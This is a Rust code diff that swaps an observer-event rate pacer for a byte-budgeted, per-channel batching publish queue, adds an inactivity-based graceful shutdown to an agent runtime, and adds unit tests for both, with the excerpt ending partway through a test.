+    /// `(serialized_len, source_events, event)`, oldest first. Length is
+    /// captured at enqueue (post-fit) so byte accounting never re-serializes
+    /// on eviction; `source_events` is how many GENERATED observer events the
+    /// entry represents (a merged chunk carries every chunk it absorbed), so
+    /// eviction accounting stays in source units after flush.
+    events: VecDeque<(usize, u64, observer::ObserverEvent)>,
+    pending_bytes: usize,
+    /// SOURCE observer events lost to byte-budget eviction. Counted in
+    /// generated-event units, not retained entries: a coalesced entry that
+    /// merged N chunks accounts for N when evicted. A PUBLISHED merged entry
+    /// delivers all N sources' text in one event, so the invariant is
+    /// `ingested == dropped_events + Σ source_events over published events`.
+    dropped_events: u64,
 }
 
-impl ObserverPublishPacer {
-    fn new() -> Self {
-        Self {
-            // No initial burst: even the first snapshot frame waits for its slot.
-            next_publish: tokio::time::Instant::now() + OBSERVER_PUBLISH_INTERVAL,
-            published: VecDeque::with_capacity(OBSERVER_PUBLISH_LIMIT_PER_MINUTE),
+impl ObserverPublishQueue {
+    fn ingest(&mut self, event: observer::ObserverEvent) {
+        // ObserverChunkCoalescer::ingest returns immediately-publishable events
+        // (force-flushed pending chunks + non-chunk passthrough, or a pending
+        // set displaced by the 60KB pre-flush); they join the queue in the
+        // order the coalescer emitted them, each carrying the count of source
+        // events it represents.
+        for (source_events, ready) in self.coalescer.ingest(event) {
+            self.enqueue(source_events, ready);
         }
+        self.enforce_byte_budget();
     }
 
-    async fn wait(&mut self) {
-        loop {
-            let now = tokio::time::Instant::now();
-            while self
-                .published
-                .front()
-                .is_some_and(|sent| now.duration_since(*sent) >= Duration::from_secs(60))
-            {
-                self.published.pop_front();
+    fn enqueue(&mut self, source_events: u64, mut event: observer::ObserverEvent) {
+        // Pre-trim at enqueue so (a) byte accounting reflects what will ship
+        // and (b) one oversized leaf cannot force every frame it touches into
+        // whole-envelope elision downstream.
+        fit_observer_event_to_budget(&mut event);
+        let bytes = serialized_len(&event);
+        self.pending_bytes += bytes;
+        self.events.push_back((bytes, source_events, event));
+    }
+
+    /// Total bytes retained across BOTH stores — the event FIFO and the
+    /// coalescer's pending chunk buffer. The budget binds this sum; counting
+    /// only the FIFO would let a high-cardinality chunk flood (many distinct
+    /// coalescer keys, nothing ever flushing) grow unbounded outside the cap.
+    fn total_pending_bytes(&self) -> usize {
+        self.pending_bytes + self.coalescer.pending_bytes
+    }
+
+    /// Enforce [`OBSERVER_PENDING_QUEUE_MAX_BYTES`] over the total, dropping
+    /// OLDEST items first with accounting in SOURCE-event units. Global age
+    /// order across the two stores is structural: every enqueue path flushes
+    /// the coalescer first, so every pending coalescer entry is strictly newer
+    /// than every queued event — eviction is queue front, then coalescer
+    /// front. The `> 1` guard never drops the sole remaining item (any single
+    /// fitted event or pre-flush-capped chunk entry is far under the budget).
+    fn enforce_byte_budget(&mut self) {
+        let mut dropped = 0u64;
+        while self.total_pending_bytes() > OBSERVER_PENDING_QUEUE_MAX_BYTES
+            && self.events.len() + self.coalescer.pending.len() > 1
+        {
+            if let Some((bytes, source_events, _)) = self.events.pop_front() {
+                self.pending_bytes -= bytes;
+                dropped += source_events;
+            } else {
+                dropped += self.coalescer.drop_oldest().expect("guard ensures an item");
             }
+        }
+        if dropped > 0 {
+            self.dropped_events += dropped;
+            tracing::warn!(
+                dropped,
+                total_dropped = self.dropped_events,
+                pending_bytes = self.total_pending_bytes(),
+                "observer publish queue over byte budget; dropped oldest events"
+            );
+        }
+    }
 
-            let minute_slot = self.published.front().and_then(|sent| {
-                (self.published.len() >= OBSERVER_PUBLISH_LIMIT_PER_MINUTE)
-                    .then_some(*sent + Duration::from_secs(60))
-            });
-            let publish_at =
-                minute_slot.map_or(self.next_publish, |slot| slot.max(self.next_publish));
-            if publish_at > now {
-                tokio::time::sleep_until(publish_at).await;
-                continue;
-            }
+    /// True when nothing is waiting anywhere — the event queue AND the
+    /// coalescer's pending chunk buffer.
+    fn is_empty(&self) -> bool {
+        self.events.is_empty() && self.coalescer.pending.is_empty()
+    }
 
-            let published_at = tokio::time::Instant::now();
-            self.published.push_back(published_at);
-            self.next_publish = published_at + OBSERVER_PUBLISH_INTERVAL;
-            return;
+    /// Pack and remove AT MOST ONE publishable frame: the front event's
+    /// channel, gathered queue-wide in FIFO order (packed greedily until
+    /// adding the next event would push the envelope over
+    /// `OBSERVER_MAX_PLAINTEXT_LEN`). Singletons ship unwrapped.
+    ///
+    /// Two invariants bound the gather:
+    /// - A frame never mixes channels (the desktop archive indexes a frame
+    ///   under its decrypted top-level `channelId`), and events keep their
+    ///   FIFO order *within* each channel. Cross-channel frame order MAY
+    ///   differ from arrival order — the desktop tolerates that everywhere:
+    ///   the transcript store sorts + rebuilds on out-of-order arrival, the
+    ///   archive is per-channel by construction, and the turn store's
+    ///   watermark is keyed per (agent, channel).
+    /// - A NULL-channel event is a BARRIER nothing gathers across: null-scope
+    ///   events (`agent_panic`-class) can causally couple to any channel, so
+    ///   their relative order against every channel is preserved exactly.
+    ///   Null-channel events themselves ship only as their contiguous front
+    ///   run.
+    ///
+    /// Gathering queue-wide (not just the front run) is what keeps the drain
+    /// rate in BYTES per slot rather than front-run-length events per slot:
+    /// with round-robin producers (channel A, B, A, B, ...) a front-run
+    /// packer degrades to ~1 event per slot regardless of size, silently
+    /// growing latency without ever tripping the byte budget.
+    ///
+    /// Pending coalesced chunks are flushed into the queue first, so a
+    /// publish slot never leaves merged chunk text stranded behind the tick.
+    fn next_frame(&mut self) -> Option<observer::ObserverEvent> {
+        for (source_events, ready) in self.coalescer.flush() {
+            self.enqueue(source_events, ready);
         }
+        let channel = self.events.front()?.2.channel_id.clone();
+
+        let mut picked: Vec<observer::ObserverEvent> = Vec::new();
+        let mut kept: VecDeque<(usize, u64, observer::ObserverEvent)> =
+            VecDeque::with_capacity(self.events.len());
+        let mut gathering = true;
+        while let Some((bytes, source_events, event)) = self.events.pop_front() {
+            if gathering && event.channel_id == channel {
+                picked.push(event);
+                if picked.len() > 1
+                    && serialized_len(&batch_envelope(&picked)) > OBSERVER_MAX_PLAINTEXT_LEN
+                {
+                    // Frame full: the overflow event stays queued and leads
+                    // its channel's next slot.
+                    let event = picked.pop().expect("len > 1");
+                    kept.push_back((bytes, source_events, event));
+                    gathering = false;
+                } else {
+                    self.pending_bytes -= bytes;
+                }
+            } else {
+                if gathering && (channel.is_none() || event.channel_id.is_none()) {
+                    // Null-channel barrier (or, for a null-channel frame, the
+                    // end of its contiguous front run): stop gathering.
+                    gathering = false;
+                }
+                kept.push_back((bytes, source_events, event));
+            }
+        }
+        self.events = kept;
+        Some(seal_batch(picked))
+    }
+}
+
+/// A single event ships unwrapped; two or more get the batch envelope.
+fn seal_batch(mut events: Vec<observer::ObserverEvent>) -> observer::ObserverEvent {
+    if events.len() == 1 {
+        return events.pop().expect("len == 1");
+    }
+    batch_envelope(&events)
+}
+
+/// Build the batch envelope for a set of same-channel events.
+///
+/// Envelope metadata mirrors the LAST inner event — the same convention the
+/// chunk coalescer uses for merged chunks — so `(timestamp, seq)` ordering and
+/// the desktop's latest-live-session tracking see the newest state.
+fn batch_envelope(events: &[observer::ObserverEvent]) -> observer::ObserverEvent {
+    let last = events
+        .last()
+        .expect("batch envelope needs at least 1 event");
+    observer::ObserverEvent {
+        seq: last.seq,
+        timestamp: last.timestamp.clone(),
+        kind: OBSERVER_BATCH_KIND.to_string(),
+        agent_index: last.agent_index,
+        channel_id: last.channel_id.clone(),
+        session_id: last.session_id.clone(),
+        turn_id: last.turn_id.clone(),
+        started_at: last.started_at.clone(),
+        payload: serde_json::json!({
+            "events": serde_json::to_value(events).unwrap_or_default(),
+        }),
     }
 }
 
@@ -500,29 +692,26 @@ async fn run_relay_observer_publisher(
     owner_pubkey_hex: String,
     owner_pubkey: PublicKey,
 ) {
-    let mut coalescer = ObserverChunkCoalescer::default();
-    let mut pacer = ObserverPublishPacer::new();
+    let mut queue = ObserverPublishQueue::default();
     let max_snapshot_seq = snapshot.iter().map(|event| event.seq).max().unwrap_or(0);
     for event in snapshot {
-        for event in coalescer.ingest(event) {
-            publish_relay_observer_event(
-                &publisher,
-                &keys,
-                &agent_pubkey_hex,
-                &owner_pubkey_hex,
-                &owner_pubkey,
-                &mut pacer,
-                event,
-            )
-            .await;
-        }
+        queue.ingest(event);
     }
 
-    let mut flush_interval = tokio::time::interval(std::time::Duration::from_millis(500));
-    flush_interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip);
+    // Global pacer: AT MOST ONE relay frame per tick, no matter how many
+    // channels are active or how large the backlog is. `interval_at` starts
+    // the first tick a full period out, so a pre-loaded snapshot (up to the
+    // 1,000-event replay buffer on reconnect) cannot burst at t=0 — the old
+    // pacer's explicit "no initial burst" property, restored.
+    let mut publish_tick = tokio::time::interval_at(
+        tokio::time::Instant::now() + OBSERVER_PUBLISH_TICK,
+        OBSERVER_PUBLISH_TICK,
+    );
+    publish_tick.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Skip);
+    let mut closed = false;
     loop {
         tokio::select! {
-            result = rx.recv() => {
+            result = rx.recv(), if !closed => {
                 match result {
                     Ok(event) => {
                         // Skip live events already delivered via the snapshot
@@ -530,41 +719,30 @@ async fn run_relay_observer_publisher(
                         if event.seq <= max_snapshot_seq {
                             continue;
                         }
-                        for event in coalescer.ingest(event) {
-                            publish_relay_observer_event(
-                                &publisher, &keys, &agent_pubkey_hex,
-                                &owner_pubkey_hex, &owner_pubkey, &mut pacer, event,
-                            ).await;
-                        }
+                        queue.ingest(event);
                     }
                     Err(tokio::sync::broadcast::error::RecvError::Lagged(count)) => {
-                        for event in coalescer.flush() {
-                            publish_relay_observer_event(
-                                &publisher, &keys, &agent_pubkey_hex,
-                                &owner_pubkey_hex, &owner_pubkey, &mut pacer, event,
-                            ).await;
-                        }
                         tracing::warn!(dropped = count, "relay observer publisher lagged");
                     }
                     Err(tokio::sync::broadcast::error::RecvError::Closed) => {
-                        for event in coalescer.flush() {
-                            publish_relay_observer_event(
-                                &publisher, &keys, &agent_pubkey_hex,
-                                &owner_pubkey_hex, &owner_pubkey, &mut pacer, event,
-                            ).await;
-                        }
-                        break;
+                        // Producer gone: stop selecting on the receiver and let
+                        // the tick arm drain what remains — still one frame per
+                        // tick. An unpaced final drain would be a burst bypass
+                        // around everything the pacer exists to prevent.
+                        closed = true;
                     }
                 }
             }
-            _ = flush_interval.tick() => {
-                // Periodic flush ensures live streaming even during continuous chunk delivery.
-                for event in coalescer.flush() {
+            _ = publish_tick.tick() => {
+                if let Some(frame) = queue.next_frame() {
                     publish_relay_observer_event(
                         &publisher, &keys, &agent_pubkey_hex,
-                        &owner_pubkey_hex, &owner_pubkey, &mut pacer, event,
+                        &owner_pubkey_hex, &owner_pubkey, frame,
                     ).await;
                 }
+                if closed && queue.is_empty() {
+                    break;
+                }
             }
         }
     }
@@ -573,12 +751,25 @@ async fn run_relay_observer_publisher(
 #[derive(Default)]
 struct ObserverChunkCoalescer {
     pending: Vec<PendingObserverChunk>,
+    /// Approximate serialized bytes retained in `pending` (each entry's
+    /// serialized skeleton at creation plus appended chunk text). Counted
+    /// against [`OBSERVER_PENDING_QUEUE_MAX_BYTES`] by the owning
+    /// [`ObserverPublishQueue`] so this buffer can never grow outside the
+    /// queue's byte budget (a distinct-key chunk flood parks everything here
+    /// and nothing would otherwise bound it).
+    pending_bytes: usize,
 }
 
 struct PendingObserverChunk {
     key: ObserverChunkKey,
     event: observer::ObserverEvent,
     text: String,
+    /// Bytes this entry contributes to `pending_bytes`.
+    bytes: usize,
+    /// GENERATED observer events merged into this entry (1 at creation, +1
+    /// per absorbed chunk). Evicting the entry loses this many source events,
+    /// so drop accounting must charge this count, not 1.
+    source_events: u64,
 }
 
 #[derive(Debug, Clone, PartialEq, Eq)]
@@ -599,10 +790,13 @@ struct ObserverChunkKey {
 const OBSERVER_CHUNK_MAX_TEXT_BYTES: usize = 60_000;
 
 impl ObserverChunkCoalescer {
-    fn ingest(&mut self, event: observer::ObserverEvent) -> Vec<observer::ObserverEvent> {
+    /// Returns immediately-publishable events, each paired with the number of
+    /// SOURCE observer events it represents (merged chunks carry the count of
+    /// every chunk they absorbed; passthrough events are always 1).
+    fn ingest(&mut self, event: observer::ObserverEvent) -> Vec<(u64, observer::ObserverEvent)> {
         let Some((key, text)) = observer_chunk_key_and_text(&event) else {
             let mut events = self.flush();
-            events.push(event);
+            events.push((1, event));
             return events;
         };
 
@@ -611,25 +805,64 @@ impl ObserverChunkCoalescer {
             if pending.text.len() + text.len() >= OBSERVER_CHUNK_MAX_TEXT_BYTES {
                 let events = self.flush();
                 // Start a new pending entry with the current chunk.
-                self.pending.push(PendingObserverChunk { key, event, text });
+                self.push_pending(key, event, text);
                 return events;
             }
             pending.text.push_str(&text);
+            pending.bytes += text.len();
+            pending.source_events += 1;
+            self.pending_bytes += text.len();
             pending.event.seq = event.seq;
             pending.event.timestamp = event.timestamp;
             return Vec::new();
         }
 
-        self.pending.push(PendingObserverChunk { key, event, text });
+        self.push_pending(key, event, text);
         Vec::new()
     }
 
-    fn flush(&mut self) -> Vec<observer::ObserverEvent> {
+    fn push_pending(
+        &mut self,
+        key: ObserverChunkKey,
+        event: observer::ObserverEvent,
+        text: String,
+    ) {
+        // The entry RETAINS the first chunk's text twice until flush: once
+        // inside the serialized skeleton (`event.payload` still carries it)
+        // and once as the extracted `text` copy that appends grow. Both are
+        // real memory, so both count — charging only `serialized_len` lets a
+        // high-cardinality flood retain up to 2x the byte budget (each entry
+        // undercounts by exactly its first chunk's length).
+        let bytes = serialized_len(&event) + text.len();
+        self.pending_bytes += bytes;
+        self.pending.push(PendingObserverChunk {
+            key,
+            event,
+            text,
+            bytes,
+            source_events: 1,
+        });
+    }
+
+    /// Evict the OLDEST pending entry for byte-budget enforcement. Returns
+    /// the number of SOURCE events the entry represented (its merged chunk
+    /// count), or `None` when there is nothing to drop.
+    fn drop_oldest(&mut self) -> Option<u64> {
+        if self.pending.is_empty() {
+            return None;
+        }
+        let removed = self.pending.remove(0);
+        self.pending_bytes -= removed.bytes;
+        Some(removed.source_events)
+    }
+
+    fn flush(&mut self) -> Vec<(u64, observer::ObserverEvent)> {
+        self.pending_bytes = 0;
         self.pending
             .drain(..)
             .map(|mut pending| {
                 set_observer_chunk_text(&mut pending.event.payload, pending.text);
-                pending.event
+                (pending.source_events, pending.event)
             })
             .collect()
     }
@@ -848,10 +1081,8 @@ async fn publish_relay_observer_event(
     agent_pubkey_hex: &str,
     owner_pubkey_hex: &str,
     owner_pubkey: &PublicKey,
-    pacer: &mut ObserverPublishPacer,
     mut event: observer::ObserverEvent,
 ) {
-    pacer.wait().await;
     // Trim oversized frames to fit the plaintext cap rather than letting
     // encrypt_observer_payload reject and drop them whole (silent telemetry loss).
     fit_observer_event_to_budget(&mut event);
@@ -1283,6 +1514,59 @@ impl Drop for RespawnGuard {
 // sync entry point — `std::env::set_var` is only safe before tokio spawns
 // worker threads (Rust 2024 edition safety requirement).
 
+fn inactivity_expired(
+    last_activity: tokio::time::Instant,
+    now: tokio::time::Instant,
+    bound: Duration,
+    turn_in_flight: bool,
+) -> bool {
+    !bound.is_zero() && !turn_in_flight && now.duration_since(last_activity) >= bound
+}
+
+#[cfg(test)]
+mod inactivity_tests {
+    use super::*;
+
+    #[test]
+    fn zero_disables_expiry_and_in_flight_turns_defer_it() {
+        let started = tokio::time::Instant::now();
+        let after_bound = started + Duration::from_secs(61);
+
+        assert!(!inactivity_expired(
+            started,
+            after_bound,
+            Duration::ZERO,
+            false
+        ));
+        assert!(!inactivity_expired(
+            started,
+            after_bound,
+            Duration::from_secs(60),
+            true
+        ));
+        assert!(inactivity_expired(
+            started,
+            after_bound,
+            Duration::from_secs(60),
+            false
+        ));
+    }
+
+    #[test]
+    fn dispatched_activity_restarts_the_inactivity_bound() {
+        let started = tokio::time::Instant::now();
+        let dispatched = started + Duration::from_secs(50);
+        let checked = started + Duration::from_secs(61);
+
+        assert!(!inactivity_expired(
+            dispatched,
+            checked,
+            Duration::from_secs(60),
+            false
+        ));
+    }
+}
+
 pub fn run() -> Result<()> {
     config::propagate_legacy_env_vars();
     tokio_main()
@@ -1655,6 +1939,21 @@ async fn tokio_main() -> Result<()> {
     let mut typing_channels: HashMap<Uuid, ThreadTags> = HashMap::new();
     let mut presence_task: Option<tokio::task::JoinHandle<()>> = None;
 
+    // Independent of pool readiness: a never-mentioned lazy agent must still
+    // self-terminate. The watch interval is capped so small configured bounds
+    // remain reasonably precise without waking long-lived agents frequently.
+    let inactivity_bound = Duration::from_secs(config.exit_after_inactivity_secs);
+    let mut last_activity = tokio::time::Instant::now();
+    let mut inactivity_reaper = if inactivity_bound.is_zero() {
+        None
+    } else {
+        let interval = inactivity_bound.min(Duration::from_secs(30));
+        Some(tokio::time::interval_at(
+            tokio::time::Instant::now() + interval,
+            interval,
+        ))
+    };
+
     // Runs at the TOP of every loop iteration via Instant check — cannot be
     // starved by the biased select. Slot refill spawns background tasks so
     // spawn_and_init never blocks the main loop.
@@ -1828,7 +2127,9 @@ async fn tokio_main() -> Result<()> {
             // called on relay events or pool results, neither of which
             // arrive when the channel is silent.
             if queue.has_flushable_work() {
-                for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) {
+                for (channel_id, thread_tags) in
+                    dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity)
+                {
                     typing_channels.insert(channel_id, thread_tags);
                 }
             }
@@ -1864,7 +2165,9 @@ async fn tokio_main() -> Result<()> {
         // this, batches requeued during crash recovery sit idle until the
         // next relay event arrives — which can be minutes on quiet channels.
         if respawn_collected {
-            for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) {
+            for (channel_id, thread_tags) in
+                dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity)
+            {
                 typing_channels.insert(channel_id, thread_tags);
             }
         }
@@ -2275,7 +2578,7 @@ async fn tokio_main() -> Result<()> {
                             }
                             if pool_ready {
                                 for (channel_id, thread_tags) in
-                                    dispatch_pending(&mut pool, &mut queue, &ctx)
+                                    dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity)
                                 {
                                     typing_channels.insert(channel_id, thread_tags);
                                 }
@@ -2292,6 +2595,27 @@ async fn tokio_main() -> Result<()> {
                     }
                     None
                 }
+                _ = async {
+                    match inactivity_reaper.as_mut() {
+                        Some(timer) => timer.tick().await,
+                        None => std::future::pending().await,
+                    }
+                } => {
+                    let _ = result_rx;
+                    if inactivity_expired(
+                        last_activity,
+                        tokio::time::Instant::now(),
+                        inactivity_bound,
+                        queue.has_in_flight() || heartbeat_in_flight,
+                    ) {
+                        tracing::info!(
+                            inactivity_seconds = config.exit_after_inactivity_secs,
+                            "inactivity bound reached — exiting gracefully"
+                        );
+                        let _ = shutdown_tx.send(());
+                    }
+                    None
+                }
                 _ = async {
                     match heartbeat.as_mut() {
                         Some(hb) => hb.tick().await,
@@ -2304,7 +2628,7 @@ async fn tokio_main() -> Result<()> {
                     } else if queue.has_flushable_work() {
                         tracing::debug!("heartbeat_skipped_events");
                         for (channel_id, thread_tags) in
-                            dispatch_pending(&mut pool, &mut queue, &ctx)
+                            dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity)
                         {
                             typing_channels.insert(channel_id, thread_tags);
                         }
@@ -2402,7 +2726,9 @@ async fn tokio_main() -> Result<()> {
                 {
                     break;
                 }
-                for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) {
+                for (channel_id, thread_tags) in
+                    dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity)
+                {
                     typing_channels.insert(channel_id, thread_tags);
                 }
             }
@@ -2425,7 +2751,9 @@ async fn tokio_main() -> Result<()> {
                     tracing::error!("all agents dead — exiting");
                     break;
                 }
-                for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) {
+                for (channel_id, thread_tags) in
+                    dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity)
+                {
                     typing_channels.insert(channel_id, thread_tags);
                 }
             }
@@ -2567,7 +2895,9 @@ async fn tokio_main() -> Result<()> {
                 // tear down the in-flight task; on its completion the
                 // queue drains. We still try here in case the in-flight
                 // task has already returned.
-                for (channel_id, thread_tags) in dispatch_pending(&mut pool, &mut queue, &ctx) {
+                for (channel_id, thread_tags) in
+                    dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity)
+                {
                     typing_channels.insert(channel_id, thread_tags);
                 }
             }
@@ -2594,7 +2924,7 @@ async fn tokio_main() -> Result<()> {
                             None,
                         );
                         for (channel_id, thread_tags) in
-                            dispatch_pending(&mut pool, &mut queue, &ctx)
+                            dispatch_pending(&mut pool, &mut queue, &ctx, &mut last_activity)
                         {
                             typing_channels.insert(channel_id, thread_tags);
                         }
@@ -2928,6 +3258,7 @@ fn dispatch_pending(
     pool: &mut AgentPool,
     queue: &mut EventQueue,
     ctx: &Arc<PromptContext>,
+    last_activity: &mut tokio::time::Instant,
 ) -> Vec<(Uuid, ThreadTags)> {
     let mut dispatched_channels = Vec::new();
     loop {
@@ -3007,6 +3338,7 @@ fn dispatch_pending(
             },
         );
         dispatched_channels.push((channel_id, typing_scope));
+        *last_activity = tokio::time::Instant::now();
     }
     tracing::debug!(
         dispatched = dispatched_channels.len(),
@@ -4942,12 +5274,21 @@ mod observer_snapshot_race_tests {
 
         // The run loop has exited, dropping the publisher; drain the forwarded
         // events until the channel closes (deterministic — no try_recv race
-        // with the test_pair forwarding task).
+        // with the test_pair forwarding task). With per-tick batching the three
+        // events arrive inside batch envelopes (or unwrapped when a drain held
+        // exactly one event); unwrap both shapes.
         let mut markers = Vec::new();
         while let Some(event) = published_rx.recv().await {
             let payload: serde_json::Value =
                 decrypt_observer_payload(&owner_keys, &event).expect("decrypt published frame");
-            markers.push(payload["payload"]["marker"].as_str().unwrap().to_string());
+            match payload["payload"]["events"].as_array() {
+                Some(inner) => markers.extend(
+                    inner
+                        .iter()
+                        .map(|e| e["payload"]["marker"].as_str().unwrap().to_string()),
+                ),
+                None => markers.push(payload["payload"]["marker"].as_str().unwrap().to_string()),
+            }
         }
         assert_eq!(
             markers,
@@ -4958,36 +5299,865 @@ mod observer_snapshot_race_tests {
 }
 
 #[cfg(test)]
-mod observer_publish_pacer_tests {
+mod observer_publish_queue_tests {
     use super::*;
 
+    fn event(seq: u64, kind: &str, channel: Option<&str>) -> observer::ObserverEvent {
+        observer::ObserverEvent {
+            seq,
+            timestamp: format!("2026-04-29T04:00:{:02}Z", seq.min(59)),
+            kind: kind.to_string(),
+            agent_index: Some(0),
+            channel_id: channel.map(ToOwned::to_owned),
+            session_id: Some("session-1".to_string()),
+            turn_id: Some("turn-1".to_string()),
+            started_at: None,
+            payload: serde_json::json!({ "seq": seq }),
+        }
+    }
+
+    fn queue_of(events: Vec<observer::ObserverEvent>) -> ObserverPublishQueue {
+        let mut queue = ObserverPublishQueue::default();
+        for event in events {
+            queue.ingest(event);
+        }
+        queue
+    }
+
+    /// Collect every frame the queue will produce, one publish slot at a time.
+    fn drain_frames(queue: &mut ObserverPublishQueue) -> Vec<observer::ObserverEvent> {
+        let mut frames = Vec::new();
+        while !queue.is_empty() {
+            frames.push(queue.next_frame().expect("queue not empty"));
+        }
+        frames
+    }
+
+    /// Inner seqs of a frame, whether it is an envelope or an unwrapped
+    /// singleton.
+    fn frame_seqs(frame: &observer::ObserverEvent) -> Vec<u64> {
+        match frame.payload.get("events").and_then(|v| v.as_array()) {
+            Some(inner) => inner.iter().map(|e| e["seq"].as_u64().unwrap()).collect(),
+            None => vec![frame.seq],
+        }
+    }
+
+    /// Retained bytes computed by WALKING the entries, independently of the
+    /// queue's own accumulator. Cap regressions must assert on this, not on
+    /// `total_pending_bytes()` — asserting the counter against itself passed
+    /// while the process retained ~2x the budget (Sami/Max round 3: each
+    /// pending coalescer entry holds the first chunk's text twice, in the
+    /// serialized skeleton AND the extracted `text` copy).
+    fn walked_retained_bytes(queue: &ObserverPublishQueue) -> usize {
+        let fifo: usize = queue
+            .events
+            .iter()
+            .map(|(_, _, event)| serialized_len(event))
+            .sum();
+        let coalescer: usize = queue
+            .coalescer
+            .pending
+            .iter()
+            .map(|pending| serialized_len(&pending.event) + pending.text.len())
+            .sum();
+        fifo + coalescer
+    }
+
+    /// The walker above is itself an instrument, and every cap test asks it
+    /// only for `<= CAP` — a blinded walker (missing an arm, or returning 0)
+    /// would satisfy all of them while hiding exactly the 2x overshoot it was
+    /// added to catch (Sami round 5, M17-M20). Pin it two-sided: it must SEE
+    /// the double retention, and it must agree with the accumulator EXACTLY
+    /// while both stores are non-empty — neither may drift.
+    #[test]
+    fn walked_retained_bytes_agrees_with_the_accumulator_exactly() {
+        fn chunk(seq: u64, message_id: &str, text: &str) -> observer::ObserverEvent {
+            let mut e = event(seq, "acp_read", Some("chan-a"));
+            e.payload = serde_json::json!({
+                "jsonrpc": "2.0",
+                "method": "session/update",
+                "params": {
+                    "sessionId": "session-1",
+                    "update": {
+                        "sessionUpdate": "agent_message_chunk",
+                        "messageId": message_id,
+                        "content": { "type": "text", "text": text },
+                    },
+                },
+            });
+            e
+        }
+
+        let text = "w".repeat(7_000);
+        let mut queue = ObserverPublishQueue::default();
+        // One pending chunk: its text lives in the serialized skeleton AND
+        // the extracted copy, so a walker blind to either arm reads short.
+        queue.ingest(chunk(1, "message-a", &text));
+        assert!(
+            walked_retained_bytes(&queue) >= 2 * text.len(),
+            "the walker must SEE the first chunk's text twice \
+             (skeleton + extracted copy), got {}",
+            walked_retained_bytes(&queue)
+        );
+
+        // Populate BOTH stores: the non-chunk event flushes message-a into
+        // the FIFO and queues itself; fresh pending keys (plus a same-key
+        // append) rebuild the coalescer side.
+        queue.ingest(event(2, "tool_call", Some("chan-a")));
+        queue.ingest(chunk(3, "message-b", &text));
+        queue.ingest(chunk(4, "message-b", &text));
+        queue.ingest(chunk(5, "message-c", &text));
+        assert!(
+            !queue.events.is_empty() && !queue.coalescer.pending.is_empty(),
+            "both arms must be non-empty for the agreement check to bind"
+        );
+        assert_eq!(
+            queue.total_pending_bytes(),
+            walked_retained_bytes(&queue),
+            "accumulator and entry-walk must agree exactly: neither may drift"
+        );
+    }
+
+    /// Two or more pending events for one channel ship as a single batch
+    /// envelope whose payload carries every inner event in arrival order.
+    #[test]
+    fn multiple_events_ship_as_one_envelope_in_order() {
+        let mut queue = queue_of(vec![
+            event(1, "turn_started", Some("chan-a")),
+            event(2, "acp_read", Some("chan-a")),
+            event(3, "acp_write", Some("chan-a")),
+        ]);
+
+        let frame = queue.next_frame().expect("one frame");
+        assert!(queue.is_empty(), "one channel, one publish slot");
+        assert_eq!(frame.kind, OBSERVER_BATCH_KIND);
+        assert_eq!(frame.seq, 3, "envelope mirrors the last inner event");
+        assert_eq!(frame_seqs(&frame), [1, 2, 3], "arrival order preserved");
+        let inner = frame.payload["events"].as_array().expect("events array");
+        assert_eq!(inner[1]["kind"], "acp_read", "inner events keep their kind");
+    }
+
+    /// A single pending event is published unwrapped — no envelope, so
+    /// consumers that predate batching still understand quiet periods.
+    #[test]
+    fn a_single_event_stays_unwrapped() {
+        let mut queue = queue_of(vec![event(7, "turn_started", Some("chan-a"))]);
+        let frame = queue.next_frame().expect("one frame");
+        assert!(queue.is_empty());
+        assert_eq!(frame.kind, "turn_started");
+        assert_eq!(frame.seq, 7);
+    }
+
+    /// An empty queue yields no frame — a tick with nothing pending must not
+    /// publish anything.
+    #[test]
+    fn empty_queue_yields_no_frame() {
+        let mut queue = ObserverPublishQueue::default();
+        assert!(queue.next_frame().is_none());
+        assert!(queue.is_empty());
+    }
+
+    /// Frames never mix channels, and each channel's events keep their FIFO
+    /// order. Gathering is QUEUE-WIDE: the front event's channel collects its
+    /// events from anywhere in the queue (that is what keeps the drain rate
+    /// in bytes per slot under interleaving), so cross-channel frame order
+    /// MAY differ from arrival order — but a null-channel event is a barrier
+    /// nothing gathers across.
+    #[test]
+    fn frames_never_mix_channels_and_gather_queue_wide() {
+        let mut queue = queue_of(vec![
+            event(1, "acp_read", Some("chan-a")),
+            event(2, "acp_write", Some("chan-a")),
+            event(3, "acp_read", Some("chan-b")),
+            event(4, "acp_read", Some("chan-a")),
+            event(5, "acp_read", None),
+        ]);
+
+        let frames = drain_frames(&mut queue);
+        assert_eq!(
+            frames.len(),
+            3,
+            "gathered: [1,2,4]@a, [3]@b, [5]@None — one frame each"
+        );
+        for frame in &frames {
+            let channels: HashSet<Option<String>> = match frame.payload.get("events") {
+                Some(serde_json::Value::Array(inner)) => inner
+                    .iter()
+                    .map(|e| e["channelId"].as_str().map(ToOwned::to_owned))
+                    .collect(),
+                _ => std::iter::once(frame.channel_id.clone()).collect(),
+            };
+            assert_eq!(channels.len(), 1, "a frame never mixes channels");
+        }
+        assert_eq!(
+            frame_seqs(&frames[0]),
+            [1, 2, 4],
+            "chan-a gathers queue-wide, FIFO within the channel"
+        );
+        assert_eq!(frames[0].channel_id.as_deref(), Some("chan-a"));
+        assert_eq!(frames[1].kind, "acp_read", "singleton stays unwrapped");
+        assert_eq!(frames[1].channel_id.as_deref(), Some("chan-b"));
+        assert_eq!(frames[2].channel_id, None);
+    }
+
+    /// A NULL-channel event is a barrier: channel events queued BEHIND it
+    /// must not gather into a frame ahead of it, so causally-global events
+    /// (`agent_panic`-class) keep their exact order against every channel.
+    /// The null event itself ships only its contiguous front run.
+    #[test]
+    fn null_channel_events_are_gather_barriers() {
+        let mut queue = queue_of(vec![
+            event(1, "acp_read", Some("chan-a")),
+            event(2, "acp_read", Some("chan-b")),
+            event(3, "agent_panic", None),
+            event(4, "acp_write", Some("chan-a")),
+        ]);
+
+        let frames = drain_frames(&mut queue);
